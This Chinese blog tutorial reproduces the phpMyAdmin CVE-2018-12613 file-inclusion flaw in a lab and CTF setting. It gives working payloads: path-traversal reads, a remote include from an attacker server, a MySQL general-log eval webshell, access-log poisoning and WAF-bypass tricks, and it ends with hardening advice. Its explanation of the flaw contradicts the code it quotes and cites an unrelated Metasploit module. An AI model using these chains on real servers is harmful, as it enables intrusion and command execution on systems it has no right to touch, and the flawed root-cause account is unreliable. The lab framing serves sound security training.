CVE-2018-12613漏洞复现:从文件包含到RCE的完整渗透实战

发布时间:2026/7/5 20:00:54
CVE-2018-12613漏洞复现:从文件包含到RCE的完整渗透实战 1. 项目概述与核心思路拆解看到“phpMyAdmin 4.8.1远程文件包含漏洞”这个标题很多搞安全研究或者打CTF比赛的朋友应该会心一笑。CVE-2018-12613这个编号在Web安全圈里算是个“老朋友”了它暴露了一个非常经典的逻辑缺陷在一个本应高度安全的数据库管理工具中因为对用户输入参数的过滤不严导致攻击者能够包含服务器上的任意文件进而可能执行任意代码。这次实战复现的目标不仅仅是简单地弹出一个计算器或者回显一个phpinfo()页面而是模拟一个完整的渗透测试流程——从信息收集、漏洞扫描开始到最终利用漏洞拿到那个象征着胜利的Flag。这整个过程对于理解漏洞原理、掌握实战工具链、以及培养渗透思维都有着极高的训练价值。简单来说这个漏洞的核心在于phpMyAdmin的index.php文件。在特定版本主要是4.8.0和4.8.1中代码在处理target参数时虽然进行了一些安全检查但存在可以被绕过的逻辑。攻击者可以构造一个特殊的target参数值让程序误以为这是一个合法的、位于白名单目录下的文件从而将其包含进来。如果这个被包含的文件内容可控比如通过上传文件或者利用其他漏洞写入那么远程代码执行RCE的大门就被打开了。我们这次的任务就是沿着“发现目标 - 确认漏洞 - 利用漏洞 - 获取Flag”这条主线把每个环节的细节和可能遇到的坑都走一遍。2. 靶场环境快速搭建与配置要点在真正对未知目标动手之前我们首先需要一个安全的、可控的环境来练手。自己搭建靶场是最佳选择既能随意测试又不会惹上法律麻烦。2.1 组件选择与版本锁定漏洞复现的第一原则就是环境要精准。CVE-2018-12613影响的是phpMyAdmin 4.8.0和4.8.1版本。为了省去兼容性麻烦我们直接选择4.8.1版本。后端数据库选择最常见的MySQL 5.7PHP版本选择7.x与phpMyAdmin 4.8.1兼容性好。操作系统用Ubuntu 20.04或者CentOS 7都可以这里以Ubuntu为例。一个更高效的方法是使用Docker它能瞬间构建出完全一致的环境。我们可以编写一个简单的docker-compose.yml文件version: 3 services: mysql: image: mysql:5.7 container_name: pma-mysql environment: MYSQL_ROOT_PASSWORD: rootpassword123 MYSQL_DATABASE: testdb restart: unless-stopped networks: - pma-net phpmyadmin: image: phpmyadmin/phpmyadmin:4.8.1 container_name: pma-vulnerable links: - mysql:db ports: - 8080:80 environment: PMA_HOST: db PMA_ARBITRARY: 1 UPLOAD_LIMIT: 100M restart: unless-stopped networks: - pma-net networks: pma-net: driver: bridge运行docker-compose up -d几分钟后一个包含漏洞的phpMyAdmin就运行在本地的8080端口了。访问http://localhost:8080使用用户名root和密码rootpassword123就能登录。注意这里将phpMyAdmin直接映射到宿主机的8080端口是为了方便测试。在真实渗透测试或CTF比赛中目标通常是远程IP。搭建本地靶场时确保防火墙规则允许本地访问即可切勿将带有已知严重漏洞的服务暴露在公网。2.2 常见安装问题与排查如果你选择手动安装可能会遇到一些典型问题。首先是PHP扩展缺失phpMyAdmin需要mysqli或mysqlnd扩展来连接MySQL。在Ubuntu上可以通过sudo apt install php-mysql来安装。其次是文件权限问题phpMyAdmin的tmp目录需要Web服务器用户如www-data有写入权限用于存储上传和会话文件。可以通过chown -R www-data:www-data /var/www/html/phpmyadmin/tmp来修正。另一个容易忽略的点是config.inc.php配置。如果这个文件不存在phpMyAdmin会在首次访问时引导你创建。在漏洞利用中这个配置文件本身有时也能成为我们读取敏感信息如数据库密码的目标。在靶场中我们可以故意使用弱密码或默认配置以简化登录过程。3. 信息收集与漏洞扫描实战面对一个未知目标我们不可能一上来就直接丢漏洞利用代码。系统的信息收集是渗透测试的基石它能帮助我们绘制攻击面找到最脆弱的入口点。3.1 基础信息探测Nmap与Wappalyzer假设我们的靶场IP是192.168.1.100。第一步使用Nmap进行端口扫描和服务识别nmap -sV -sC -p- 192.168.1.100 -oA pma_scan-sV: 探测服务版本。-sC: 使用默认脚本进行更深入的探测。-p-: 扫描所有65535个端口。-oA pma_scan: 将结果以所有格式normal, XML, grepable输出到文件。扫描结果可能会显示80或8080端口开放运行着Apache/nginx和PHP。版本信息可能直接显示“phpMyAdmin”或通过HTTP响应头暴露。我们也可以使用浏览器插件如Wappalyzer在访问Web页面时快速识别出phpMyAdmin及其版本。如果扫描结果没有明确版本我们需要进一步探查。访问可能的phpMyAdmin路径如/phpmyadmin,/pma,/admin等。通过查看页面源代码、登录页面的Logo、引用的JS/CSS文件版本往往能确定具体版本。例如查看./js/messages.php文件其注释或内容可能包含版本号。3.2 针对性漏洞扫描工具与手工验证确认存在phpMyAdmin后下一步就是判断其是否在受影响版本范围内。对于CVE-2018-12613我们可以使用专门的漏洞扫描器比如sqlmap虽然以SQL注入见长但其--crawl和自定义脚本功能也能用于探测。更直接的方法是使用Metasploit框架中的扫描模块msfconsole use auxiliary/scanner/http/phpmyadmin_preg_replace set RHOSTS 192.168.1.100 set TARGETURI /phpmyadmin run这个模块会发送特定的请求根据响应判断是否存在该漏洞。但工具不是万能的很多CTF环境或定制化部署可能会干扰工具的判断。因此手工验证是必不可少的技能。手工验证的核心是理解漏洞触发点。漏洞位于index.php中关键参数是target。我们可以尝试访问一个已知存在的本地文件比如/etc/passwdLinux或C:\\Windows\\win.iniWindows但需要利用漏洞的绕过技巧。一个简单的探测Payload是/phpmyadmin/index.php?targetdb_sql.php%253f/../../../../../../etc/passwd这里%253f是?的双重URL编码。原理是代码首先对target进行了一次URL解码得到db_sql.php?/../../../../etc/passwd。然后检查文件名部分db_sql.php?是否在白名单内白名单包含db_sql.php。由于?在URL中会被解析为参数分隔符但在文件系统检查时db_sql.php?这个文件名是不存在的然而某些检查逻辑可能只匹配?之前的部分从而通过了白名单校验。最终实际包含的文件路径变成了db_sql.php?/../../../../etc/passwd在PHP中?后的部分被当作查询字符串因此真正包含的是../../../../etc/passwd。如果页面的响应中出现了root:x:0:0...等内容就证实了漏洞存在。实操心得手工验证时浏览器的开发者工具F12中的“网络Network”标签页至关重要。你需要仔细查看发送的请求URL和服务器返回的响应体。有时漏洞利用不成功不是因为漏洞不存在而是因为Payload构造有误、编码问题或者服务器有额外的WAF规则。多尝试几种Payload变体如不同的编码方式、路径穿越深度是成功的关键。4. 漏洞原理深度分析与Payload构造知其然更要知其所以然。只有深入理解了漏洞的根源才能灵活构造利用方式应对各种过滤和防御。4.1 漏洞代码溯源与逻辑缺陷让我们看看漏洞的根源。在phpMyAdmin 4.8.1的index.php中相关代码如下简化版// index.php if (! empty($_REQUEST[target]) is_string($_REQUEST[target]) ! preg_match(/^index/, $_REQUEST[target]) ! in_array($_REQUEST[target], $target_blacklist) Core::checkPageValidity($_REQUEST[target]) ) { include $_REQUEST[target]; exit; }关键函数是Core::checkPageValidity()。我们查看该函数的实现// libraries/classes/Core.php public static function checkPageValidity($page, array $whitelist []) { if (empty($whitelist)) { $whitelist self::$goto_whitelist; // 白名单数组包含db_sql.php, sql.php等 } if (! isset($page) || !is_string($page)) { return false; } // 对$page进行URL解码 $page urldecode($page); // 使用?分割取第一部分检查是否在白名单中 $page preg_replace(/\?.*$/, , $page); if (in_array($page, $whitelist)) { return true; } // 再次尝试去掉可能的路径后缀后检查 $page preg_replace(/\.php$/, , $page); return in_array($page, $whitelist); }漏洞逻辑就在这里函数首先对输入$page进行了一次urldecode。然后它使用preg_replace(/\?.*$/, , $page)来移除?以及之后的所有字符。最后检查处理后的字符串是否在白名单中。绕过方法如果我们传入targetdb_sql.php%253f/../../../../etc/passwd。在checkPageValidity函数内经过urldecode后%253f变成%3f因为%25是%的编码。此时$page值为db_sql.php%3f/../../../../etc/passwd。执行preg_replace(/\?.*$/, , $page)。注意这里的正则表达式匹配的是字面量?而我们的字符串中是%3f?的URL编码所以这次替换什么都没做接着检查db_sql.php%3f/../../../../etc/passwd是否在白名单中显然不在函数返回false等等代码还没完。它又执行了preg_replace(/\.php$/, , $page)尝试去掉.php后缀。但我们的字符串是db_sql.php%3f...后缀是.php%3f...不匹配.php$所以这步也没用。看起来检查失败了不这里有一个关键细节在index.php中调用checkPageValidity时传入的$page参数是引用$page。这意味着函数内部对$page的修改即urldecode会直接影响外部的$_REQUEST[target]变量。所以当checkPageValidity函数返回后回到index.php准备执行include $_REQUEST[target];时$_REQUEST[target]的值已经被函数内部的urldecode修改了变成了db_sql.php?/../../../../etc/passwd。现在PHP的include语句会尝试包含这个路径。在PHP的文件包含中?后面的部分会被当作查询字符串因此实际尝试包含的文件路径是db_sql.php。但是由于路径中包含了/../../../../这是一个目录遍历。最终如果路径解析成功服务器可能会去包含/etc/passwd文件。这个漏洞的精妙之处在于白名单检查的逻辑和最终包含的逻辑所处理的数据因为引用传递和urldecode的时机问题产生了不一致导致了安全检查被绕过。4.2 多种Payload构造与场景适配理解了原理我们就可以构造适应不同场景的Payload基础本地文件包含LFIindex.php?targetdb_sql.php%253f/../../../../../../etc/passwdindex.php?targetdb_sql.php%253f/../../../../../../etc/hosts用于读取服务器敏感配置文件如MySQL的my.cnfWeb服务器的config.php甚至phpMyAdmin自身的config.inc.php可能包含数据库密码。结合文件上传的远程代码执行RCE 这是漏洞利用的终极目标。phpMyAdmin本身有文件导入SQL文件和上传功能。如果服务器配置允许上传文件到Web目录或临时目录且我们知道上传后的文件路径就可以包含它来执行PHP代码。步骤一上传一个包含PHP代码的文本文件。可以将其伪装成SQL文件.sql内容为SELECT ?php phpinfo(); ?;步骤二找到文件路径。上传的文件通常会在phpMyAdmin的tmp目录或系统的临时目录如/tmp。路径可能需要猜测或通过报错信息泄露。一个常见的位置是/var/lib/phpmyadmin/tmp/upload/xxx.sql。步骤三构造包含Payloadindex.php?targetdb_sql.php%253f/../../../../../../var/lib/phpmyadmin/tmp/upload/恶意文件.sql如果包含成功其中的PHP代码?php phpinfo(); ?就会被服务器解析执行。利用PHP内置包装器 如果服务器开启了allow_url_include默认关闭但有时会开启我们可以直接包含远程服务器上的PHP文件实现更直接的RCE。index.php?targetdb_sql.php%253fhttp://你的攻击服务器/shell.txt?注意这里需要在URL末尾加一个?是为了让?之前的http://.../shell.txt部分通过白名单检查而真正的包含内容是整个URL。不过这种利用方式条件苛刻实战中较少见。注意事项Payload中的路径穿越深度../../的个数需要根据目标服务器的实际部署路径进行调整。太浅了可能包含不到目标文件太深了可能会穿越到根目录之外导致包含失败。通常从4层开始尝试逐步增加。5. 从文件包含到获取Flag的完整利用链在CTF比赛或渗透测试中最终目标往往是获取一个特定的Flag字符串。这需要我们构建一个从漏洞利用到信息获取的完整链条。5.1 利用漏洞写入WebShell读取文件只是第一步执行命令才能控制服务器。最稳定的方法是写入一个WebShell到Web目录。我们需要找到一个有写权限的Web目录。可以通过包含/etc/apache2/sites-enabled/000-default.conf或/etc/nginx/sites-enabled/default等配置文件来发现网站根目录。假设我们发现Web根目录是/var/www/html。我们可以尝试利用漏洞结合PHP的其他特性来写文件。但更常见的方法是利用phpMyAdmin的日志文件功能。MySQL有一个全局变量general_log_file可以指定日志文件的路径。如果我们将这个路径设置为Web目录下的一个.php文件并将general_log设置为ON那么所有执行的SQL语句都会被记录到这个.php文件中。如果我们在SQL语句中写入PHP代码它就会被当作日志内容写入而这个文件以.php结尾可以被服务器解析。具体操作步骤登录phpMyAdmin。使用获取到的或默认的凭据登录。执行SQL语句开启日志并写入WebShell-- 设置全局日志文件路径为Web目录下的shell.php SET global general_log_file /var/www/html/shell.php; -- 开启通用查询日志 SET global general_log on; -- 执行一条包含PHP代码的查询该代码会被写入日志文件 SELECT ?php eval($_POST[\cmd\]);?; -- 关闭日志可选避免产生大量日志 SET global general_log off;访问WebShell如果上述操作成功访问http://目标IP/shell.php你就得到了一个密码为cmd的WebShell。执行命令获取Flag通过POST方式向shell.php发送数据cmdsystem(find / -name \*flag*\ 2/dev/null);来查找服务器上的Flag文件。找到后再用cat命令读取。5.2 直接命令执行与信息收集如果由于权限问题无法写WebShell或者想更快地拿到Flag我们可以尝试在漏洞利用点直接执行命令。这需要找到一种方法让被包含的文件能够执行系统命令。一种方法是包含PHP的输入流包装器php://input并将POST过去的数据作为PHP代码执行。但这种方式需要服务器开启allow_url_include且index.php中的包含点能够接受这种包装器通常需要target参数完全可控且检查不严。对于CVE-2018-12613直接包含php://input可能无法通过白名单检查。更可靠的方法是先包含一个已有的、内容部分可控的PHP文件。例如包含phpMyAdmin的会话文件/tmp/sess_xxx如果我们能控制会话中的某些数据就可能注入PHP代码。或者包含Web服务器的访问日志/var/log/apache2/access.log在User-Agent或Referer中插入PHP代码然后通过漏洞包含这个日志文件来执行代码。这种方法被称为“日志投毒”。日志投毒步骤示例使用Burp Suite或curl向目标服务器发送一个请求其中User-Agent设置为?php system(id); ?。利用漏洞包含Apache的访问日志文件index.php?targetdb_sql.php%253f/../../../../../../var/log/apache2/access.log如果包含成功日志文件中的PHP代码会被执行返回命令id的结果。5.3 定位并读取Flag文件在CTF环境中Flag可能以多种形式存在文件形式/flag,/home/ctf/flag,/var/www/html/flag.txt,flag{...}格式的文件内容。数据库形式存储在MySQL数据库的某个表中。环境变量形式通过$_ENV或getenv()获取。拿到命令执行权限后可以系统地搜索# 查找包含flag关键词的文件 find / -type f -name *flag* 2/dev/null find / -type f -exec grep -l flag{ {} \; 2/dev/null # 查看当前目录、Web目录、家目录 ls -la / /var/www /home # 检查数据库如果已有phpMyAdmin权限 # 在phpMyAdmin的SQL标签页执行 SHOW DATABASES; USE 可疑数据库; SHOW TABLES; SELECT * FROM 可疑表;通常CTF的Flag会放在一个比较明显的位置或者通过上述信息收集步骤可以推断出来。6. 实战中常见问题与精细化排查理论很美好实战却总是充满意外。下面记录一些我在这类漏洞复现和CTF解题中踩过的坑和解决思路。6.1 漏洞扫描与验证阶段的“坑”问题现象可能原因排查与解决思路工具扫描报告漏洞不存在但手工验证似乎可行1. 扫描器Payload不够新或与目标环境不兼容。2. 目标存在WAF拦截了扫描器的攻击特征但手工构造的Payload可能绕过了。1. 升级工具到最新版或尝试其他扫描器如nuclei。2. 使用Burp Suite手动构造请求尝试不同的编码、请求方法GET/POST、添加无关参数干扰WAF。手工验证时包含/etc/passwd成功但包含其他文件或执行命令失败1. 目标文件不存在或路径不对。2. 打开文件权限限制open_basedir。3. 包含的文件内容被当作纯文本输出未解析如包含.txt文件。1. 使用../../../../../../../更多层的穿越尝试。2. 尝试包含PHP自身会话文件/tmp/sess_xxx或php错误日志这些文件通常可读且可能包含可控数据。3. 确保包含的文件后缀是.php或者服务器配置了将其他后缀当作PHP解析不常见。响应码为200但页面空白或返回错误信息1. 包含的文件本身有语法错误导致PHP解析失败。2. 被包含的文件执行过程中产生了错误但错误被屏蔽display_errorsOff。3. 触发了服务器的其他安全机制如SELinux、ModSecurity规则。1. 查看响应头确认Content-Type。如果是text/html但空白查看HTML源码可能错误信息在注释里。2. 尝试包含一个确定无害的简单文件如/etc/hosts测试包含功能是否正常。3. 在Burp中对比正常请求和攻击请求的差异逐个参数测试。6.2 漏洞利用阶段的难点突破挑战点分析与应对策略找不到可写的Web目录1.信息收集利用漏洞读取服务器配置文件如/etc/apache2/envvars找APACHE_RUN_USER再找其家目录、/proc/self/environ找进程工作目录。2.尝试默认路径/tmp、/var/tmp、/dev/shm通常是全局可写的。3.利用phpMyAdmin特性如前所述使用MySQL通用查询日志到/tmp目录再通过漏洞包含。MySQL日志写入WebShell失败1.权限问题MySQL进程用户通常是mysql可能没有对Web目录的写权限。尝试写到/tmp目录。2.日志格式确保写入的PHP代码不会被MySQL添加的注释、时间戳破坏。用SELECT ?php ... ?而不是SELECT ?php ... ?避免引号转义问题。3.文件已存在如果/var/www/html/shell.php已存在且不可写换一个文件名。命令执行被禁用或限制1.函数禁用system,exec,shell_exec,passthru等函数可能在php.ini的disable_functions列表中被禁用。2.绕过方法尝试其他函数proc_open(),popen(),pcntl_exec()。或者用PHP文件操作函数读写文件间接获取信息。终极方法是用dl()函数加载恶意扩展条件苛刻。3.编码输出如果命令执行了但结果不显示尝试将输出重定向到文件system(id /tmp/out.txt 21);然后再去读取这个文件。6.3 针对防御措施的绕过思路现代服务器和WAFWeb应用防火墙会增加漏洞利用的难度。WAF拦截路径穿越../尝试双重编码..%252f..%252f或者使用绝对路径如果知道Web根目录的绝对路径可以直接包含但需绕过白名单。有时使用非标准路径分隔符如Windows下的\或空字节截断PHP5.3.4也可能有效但本例中不适用。WAF拦截特定关键词如etc/passwd尝试使用通配符或环境变量。例如包含/etc/pa*swd或者包含/proc/self/cwd/../../../etc/passwd。读取/proc/self/environ来获取敏感信息也是常用手法。服务器配置了open_basedir限制open_basedir会将PHP可访问的文件限制在指定目录树内。如果限制很死可能无法穿越到/etc或/tmp。此时需要寻找限制范围内的可利用文件如Session文件、上传的临时文件、phpMyAdmin自身的配置文件等。7. 防御视角漏洞修复与安全加固建议作为一名负责任的安全从业者在复现漏洞之后更重要的是理解如何防御它。对于系统管理员和开发者以下措施至关重要立即升级最根本的解决方法是将phpMyAdmin升级到已修复该漏洞的版本4.8.2及以上。官方在修复中严格了Core::checkPageValidity函数对输入参数的验证逻辑。最小权限原则运行phpMyAdmin的PHP进程和MySQL数据库用户应使用最低必要的权限。避免使用root账户连接数据库。将phpMyAdmin安装在非Web根目录的子目录并严格设置目录权限禁止执行不必要的PHP文件。网络隔离phpMyAdmin不应暴露在公网。通过防火墙规则限制访问IP或通过VPN、跳板机访问。如果必须公开考虑使用HTTPS并配置强认证如双因素认证。输入验证与过滤这是所有Web安全的基石。对于用户可控的输入尤其是用于文件包含、系统命令、数据库查询的参数必须进行严格的验证、过滤和转义。采用白名单机制比黑名单更可靠。部署Web应用防火墙WAFWAF可以帮助拦截已知的攻击模式如路径穿越、SQL注入、命令注入等为修复漏洞争取时间。安全配置关闭不必要的PHP危险函数eval,system,exec等设置open_basedir关闭allow_url_fopen和allow_url_include。复现CVE-2018-12613漏洞的完整过程就像一次精密的外科手术。从外围侦察到精准切入从利用漏洞到扩大战果每一步都考验着对系统原理、网络协议和编程逻辑的理解。这个漏洞本身并不复杂但它完美地展示了安全领域中“细节决定成败”的道理——一个看似微小的逻辑判断顺序的失误就可能导致整个系统的沦陷。对于防御者而言它是一次深刻的警示对于攻击者在合法授权范围内它是一把剖析系统内部结构的精妙手术刀。掌握这样的漏洞不是为了破坏而是为了在更复杂的战场上具备更强的攻防对抗能力。